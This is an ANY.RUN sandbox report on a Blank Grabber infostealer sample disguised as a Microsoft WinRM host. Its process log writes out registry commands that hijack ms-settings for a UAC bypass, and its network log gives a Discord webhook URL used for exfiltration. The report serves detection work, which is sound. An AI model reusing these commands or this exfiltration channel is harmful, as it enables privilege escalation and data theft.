File name: | 3ca3e36031f8b7128739c85e0f1bab4a178a4546af60142851d1ba42f3bd0672.exe |
Full analysis: | https://app.any.run/tasks/3766294d-57ce-4e94-8de2-e38df7b3a7fb |
Verdict: | Malicious activity |
Threats: | Blank Grabber is an infostealer written in Python. It is designed to steal a wide array of data, such as browser login credentials, crypto wallets, Telegram sessions, and Discord tokens. It is an open-source malware, with its code available on GitHub and regularly receiving updates. Blank Grabber builder’s simple interface lets threat actors even with basic skills to deploy it and conduct attacks. |
Analysis date: | December 14, 2024, 03:16:31 |
OS: | Windows 10 Professional (build: 19045, 64 bit) |
Tags: | |
Indicators: | |
MIME: | application/vnd.microsoft.portable-executable |
File info: | PE32+ executable (GUI) x86-64, for MS Windows, 6 sections |
MD5: | E302186AE6217D48FC6EEF1FE780EC26 |
SHA1: | 17FCD5699FC208E8B520EB9AD1C0B4A0305A5F0A |
SHA256: | 3CA3E36031F8B7128739C85E0F1BAB4A178A4546AF60142851D1BA42F3BD0672 |
SSDEEP: | 98304:jJ3P9suDbjR6Y9nCaNOMJYECTJklpS5bPjlYiLuG9MNsdYF6zODDBrFlORacGp4n:xgm0hNWR6Y6Cm |
.exe | | | Win64 Executable (generic) (87.3) |
---|---|---|
.exe | | | Generic Win/DOS Executable (6.3) |
.exe | | | DOS Executable Generic (6.3) |
ProductVersion: | 10.0.19041.3636 |
---|---|
ProductName: | Microsoft® Windows® Operating System |
OriginalFileName: | wsmprovhost.exe |
LegalCopyright: | © Microsoft Corporation. All rights reserved. |
InternalName: | wsmprovhost.exe |
FileVersion: | 10.0.19041.3636 (WinBuild.160101.0800) |
FileDescription: | Host process for WinRM plug-ins |
CompanyName: | Microsoft Corporation |
CharacterSet: | Unicode |
LanguageCode: | English (U.S.) |
FileSubtype: | - |
ObjectFileType: | Dynamic link library |
FileOS: | Windows NT 32-bit |
FileFlags: | (none) |
FileFlagsMask: | 0x003f |
ProductVersionNumber: | 10.0.19041.3636 |
FileVersionNumber: | 10.0.19041.3636 |
Subsystem: | Windows GUI |
SubsystemVersion: | 6 |
ImageVersion: | - |
OSVersion: | 6 |
EntryPoint: | 0xce20 |
UninitializedDataSize: | - |
InitializedDataSize: | 104960 |
CodeSize: | 172032 |
LinkerVersion: | 14.41 |
PEType: | PE32+ |
ImageFileCharacteristics: | Executable, Large address aware |
TimeStamp: | 2024:12:08 03:10:15+00:00 |
MachineType: | AMD AMD64 |
PID | CMD | Path | Indicators | Parent process | |||||||||||
---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
6484 | "C:\Users\admin\Desktop\3ca3e36031f8b7128739c85e0f1bab4a178a4546af60142851d1ba42f3bd0672.exe" | C:\Users\admin\Desktop\3ca3e36031f8b7128739c85e0f1bab4a178a4546af60142851d1ba42f3bd0672.exe | explorer.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Host process for WinRM plug-ins Exit code: 0 Version: 10.0.19041.3636 (WinBuild.160101.0800) Modules
| |||||||||||||||
6504 | "C:\Users\admin\Desktop\3ca3e36031f8b7128739c85e0f1bab4a178a4546af60142851d1ba42f3bd0672.exe" | C:\Users\admin\Desktop\3ca3e36031f8b7128739c85e0f1bab4a178a4546af60142851d1ba42f3bd0672.exe | — | 3ca3e36031f8b7128739c85e0f1bab4a178a4546af60142851d1ba42f3bd0672.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Host process for WinRM plug-ins Exit code: 0 Version: 10.0.19041.3636 (WinBuild.160101.0800) Modules
| |||||||||||||||
6528 | C:\WINDOWS\system32\cmd.exe /c "reg add hkcu\Software\Classes\ms-settings\shell\open\command /d "C:\Users\admin\Desktop\3ca3e36031f8b7128739c85e0f1bab4a178a4546af60142851d1ba42f3bd0672.exe" /f" | C:\Windows\System32\cmd.exe | — | 3ca3e36031f8b7128739c85e0f1bab4a178a4546af60142851d1ba42f3bd0672.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
6544 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Console Window Host Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
6592 | reg add hkcu\Software\Classes\ms-settings\shell\open\command /d "C:\Users\admin\Desktop\3ca3e36031f8b7128739c85e0f1bab4a178a4546af60142851d1ba42f3bd0672.exe" /f | C:\Windows\System32\reg.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Registry Console Tool Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
6616 | C:\WINDOWS\system32\cmd.exe /c "reg add hkcu\Software\Classes\ms-settings\shell\open\command /v "DelegateExecute" /f" | C:\Windows\System32\cmd.exe | — | 3ca3e36031f8b7128739c85e0f1bab4a178a4546af60142851d1ba42f3bd0672.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
6636 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Console Window Host Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
6684 | reg add hkcu\Software\Classes\ms-settings\shell\open\command /v "DelegateExecute" /f | C:\Windows\System32\reg.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Registry Console Tool Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
6712 | C:\WINDOWS\system32\cmd.exe /c "wevtutil qe "Microsoft-Windows-Windows Defender/Operational" /f:text" | C:\Windows\System32\cmd.exe | — | 3ca3e36031f8b7128739c85e0f1bab4a178a4546af60142851d1ba42f3bd0672.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
6728 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Console Window Host Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
|
(PID) Process: | (6684) reg.exe | Key: | HKEY_CLASSES_ROOT\ms-settings\shell\open\command |
Operation: | write | Name: | DelegateExecute |
Value: | |||
(PID) Process: | (7036) ComputerDefaults.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer |
Operation: | write | Name: | SlowContextMenuEntries |
Value: 6024B221EA3A6910A2DC08002B30309D0A010000BD0E0C47735D584D9CEDE91E22E23282770100000114020000000000C0000000000000468D0000006078A409B011A54DAFA526D86198A780390100009AD298B2EDA6DE11BA8CA68E55D895936E000000 | |||
(PID) Process: | (7036) ComputerDefaults.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content |
Operation: | write | Name: | CachePrefix |
Value: | |||
(PID) Process: | (7036) ComputerDefaults.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies |
Operation: | write | Name: | CachePrefix |
Value: Cookie: | |||
(PID) Process: | (7036) ComputerDefaults.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History |
Operation: | write | Name: | CachePrefix |
Value: Visited: | |||
(PID) Process: | (6264) reg.exe | Key: | HKEY_CLASSES_ROOT\ms-settings\shell\open\command |
Operation: | delete key | Name: | (default) |
Value: | |||
(PID) Process: | (6264) reg.exe | Key: | HKEY_CLASSES_ROOT\ms-settings\shell\open |
Operation: | delete key | Name: | (default) |
Value: | |||
(PID) Process: | (6264) reg.exe | Key: | HKEY_CLASSES_ROOT\ms-settings\shell |
Operation: | delete key | Name: | (default) |
Value: | |||
(PID) Process: | (6264) reg.exe | Key: | HKEY_CLASSES_ROOT\ms-settings |
Operation: | delete key | Name: | (default) |
Value: | |||
(PID) Process: | (7160) TiWorker.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing |
Operation: | write | Name: | SessionIdHigh |
Value: 31149526 |
PID | Process | Filename | Type | |
---|---|---|---|---|
6484 | 3ca3e36031f8b7128739c85e0f1bab4a178a4546af60142851d1ba42f3bd0672.exe | C:\Users\admin\AppData\Local\Temp\_MEI64842\_ctypes.pyd | executable | |
MD5:E7EF30080C1785BAF2F9BB8CF5AFE1B2 | SHA256:2891382070373D5070CB8FD6676AFC9F5EB4236251F8FC5C0941AF0C53A2D31E | |||
6484 | 3ca3e36031f8b7128739c85e0f1bab4a178a4546af60142851d1ba42f3bd0672.exe | C:\Users\admin\AppData\Local\Temp\_MEI64842\_ssl.pyd | executable | |
MD5:53996068AE9CF68619DA8CB142410D5E | SHA256:CBD320C42277086CD962FD0B25842904CEB436346D380319625F54363F031DCF | |||
6484 | 3ca3e36031f8b7128739c85e0f1bab4a178a4546af60142851d1ba42f3bd0672.exe | C:\Users\admin\AppData\Local\Temp\_MEI64842\_sqlite3.pyd | executable | |
MD5:0FDEDCB9B3A45152239CA4B1AEA4B211 | SHA256:0FC03D25467850181C0FC4F0F8919C8C47CBA2BF578698D4354AA84FD810C7F7 | |||
6484 | 3ca3e36031f8b7128739c85e0f1bab4a178a4546af60142851d1ba42f3bd0672.exe | C:\Users\admin\AppData\Local\Temp\_MEI64842\_bz2.pyd | executable | |
MD5:85C70974FAC8E621ED6E3E9A993FBD6F | SHA256:610983BBCB8EE27963C17EAD15E69AD76EC78FAC64DEB7345CA90D004034CDD6 | |||
6484 | 3ca3e36031f8b7128739c85e0f1bab4a178a4546af60142851d1ba42f3bd0672.exe | C:\Users\admin\AppData\Local\Temp\_MEI64842\_decimal.pyd | executable | |
MD5:3923E27B9378DA500039E996222FFEE6 | SHA256:0275B03041F966E587D1C4C50266C3FDFF1E1A65F652AD07B59CB85845B5457E | |||
6484 | 3ca3e36031f8b7128739c85e0f1bab4a178a4546af60142851d1ba42f3bd0672.exe | C:\Users\admin\AppData\Local\Temp\_MEI64842\sqlite3.dll | executable | |
MD5:C6ED91B8FDB99EBA4C099EB6D0EEA5D9 | SHA256:E6E1910E237AC7847748918804D1C414C0F1696A29E9718739312A233EB96D80 | |||
6484 | 3ca3e36031f8b7128739c85e0f1bab4a178a4546af60142851d1ba42f3bd0672.exe | C:\Users\admin\AppData\Local\Temp\_MEI64842\_lzma.pyd | executable | |
MD5:BC2EBD2A95619AB14A16944B0AB8BDE5 | SHA256:AEB3FD8B855B35204B5088C7A1591CC1CA78FFFE707D70E41D99564B6CB617C6 | |||
6484 | 3ca3e36031f8b7128739c85e0f1bab4a178a4546af60142851d1ba42f3bd0672.exe | C:\Users\admin\AppData\Local\Temp\_MEI64842\_queue.pyd | executable | |
MD5:FCBB24550F59068A37EA09A490923C8A | SHA256:DE2AC6D99234A28DCF583D90DCA7256DE986FCA9E896C9AAFD1F18BB536978B8 | |||
6484 | 3ca3e36031f8b7128739c85e0f1bab4a178a4546af60142851d1ba42f3bd0672.exe | C:\Users\admin\AppData\Local\Temp\_MEI64842\VCRUNTIME140.dll | executable | |
MD5:4585A96CC4EEF6AAFD5E27EA09147DC6 | SHA256:A8F950B4357EC12CFCCDDC9094CCA56A3D5244B95E09EA6E9A746489F2D58736 | |||
6484 | 3ca3e36031f8b7128739c85e0f1bab4a178a4546af60142851d1ba42f3bd0672.exe | C:\Users\admin\AppData\Local\Temp\_MEI64842\_hashlib.pyd | executable | |
MD5:C8B153F0BE8569CE2C2DE3D55952D9C7 | SHA256:AF9F39D2A5D762214F6DE2C8FEC0A5BC6BE0B8223EF47164CAA4C6E3D6437A58 |
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
---|---|---|---|---|---|---|---|---|---|
2940 | 3ca3e36031f8b7128739c85e0f1bab4a178a4546af60142851d1ba42f3bd0672.exe | GET | 200 | 208.95.112.1:80 | http://ip-api.com/line/?fields=hosting | unknown | — | — | shared |
— | — | GET | 204 | 142.250.186.131:443 | https://gstatic.com/generate_204 | unknown | — | — | — |
4712 | MoUsoCoreWorker.exe | GET | 200 | 2.19.217.218:80 | http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl | unknown | — | — | whitelisted |
3040 | svchost.exe | GET | 200 | 23.216.77.6:80 | http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl | unknown | — | — | whitelisted |
4712 | MoUsoCoreWorker.exe | GET | 200 | 23.216.77.6:80 | http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl | unknown | — | — | whitelisted |
3040 | svchost.exe | GET | 200 | 2.19.217.218:80 | http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl | unknown | — | — | whitelisted |
2940 | 3ca3e36031f8b7128739c85e0f1bab4a178a4546af60142851d1ba42f3bd0672.exe | GET | 200 | 208.95.112.1:80 | http://ip-api.com/json/?fields=225545 | unknown | — | — | shared |
— | — | POST | 404 | 162.159.128.233:443 | https://discord.com/api/webhooks/1267176433306829014/YhEVi7QXrkO9uMJodvR8Fp2e6uTZlqxB6sVXodhGTQI4MPsm1-wFNZP3qTm1buU6tOMG | unknown | binary | 45 b | whitelisted |
PID | Process | IP | Domain | ASN | CN | Reputation |
---|---|---|---|---|---|---|
4712 | MoUsoCoreWorker.exe | 40.127.240.158:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
— | — | 192.168.100.255:137 | — | — | — | whitelisted |
3040 | svchost.exe | 40.127.240.158:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
— | — | 40.127.240.158:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
— | — | 192.168.100.255:138 | — | — | — | whitelisted |
— | — | 23.212.110.162:443 | www.bing.com | Akamai International B.V. | CZ | whitelisted |
3040 | svchost.exe | 23.216.77.6:80 | crl.microsoft.com | Akamai International B.V. | DE | whitelisted |
4712 | MoUsoCoreWorker.exe | 23.216.77.6:80 | crl.microsoft.com | Akamai International B.V. | DE | whitelisted |
3040 | svchost.exe | 2.19.217.218:80 | www.microsoft.com | Akamai International B.V. | NL | whitelisted |
4712 | MoUsoCoreWorker.exe | 2.19.217.218:80 | www.microsoft.com | Akamai International B.V. | NL | whitelisted |
Domain | IP | Reputation |
---|---|---|
settings-win.data.microsoft.com |
| whitelisted |
www.bing.com |
| whitelisted |
google.com |
| whitelisted |
crl.microsoft.com |
| whitelisted |
www.microsoft.com |
| whitelisted |
blank-pbzkt.in |
| unknown |
ip-api.com |
| shared |
gstatic.com |
| whitelisted |
discord.com |
| whitelisted |
self.events.data.microsoft.com |
| whitelisted |
PID | Process | Class | Message |
---|---|---|---|
— | — | Device Retrieving External IP Address Detected | INFO [ANY.RUN] External IP Check (ip-api .com) |
— | — | Device Retrieving External IP Address Detected | ET INFO External IP Lookup Domain in DNS Lookup (ip-api .com) |
— | — | Device Retrieving External IP Address Detected | ET POLICY External IP Lookup ip-api.com |
— | — | Misc activity | ET INFO Observed Discord Domain in DNS Lookup (discord .com) |
— | — | Device Retrieving External IP Address Detected | ET POLICY External IP Lookup ip-api.com |
— | — | Misc activity | ET INFO Observed Discord Domain (discord .com in TLS SNI) |
— | — | A Network Trojan was detected | STEALER [ANY.RUN] BlankGrabber (SkochGrabber) Generic External IP Check |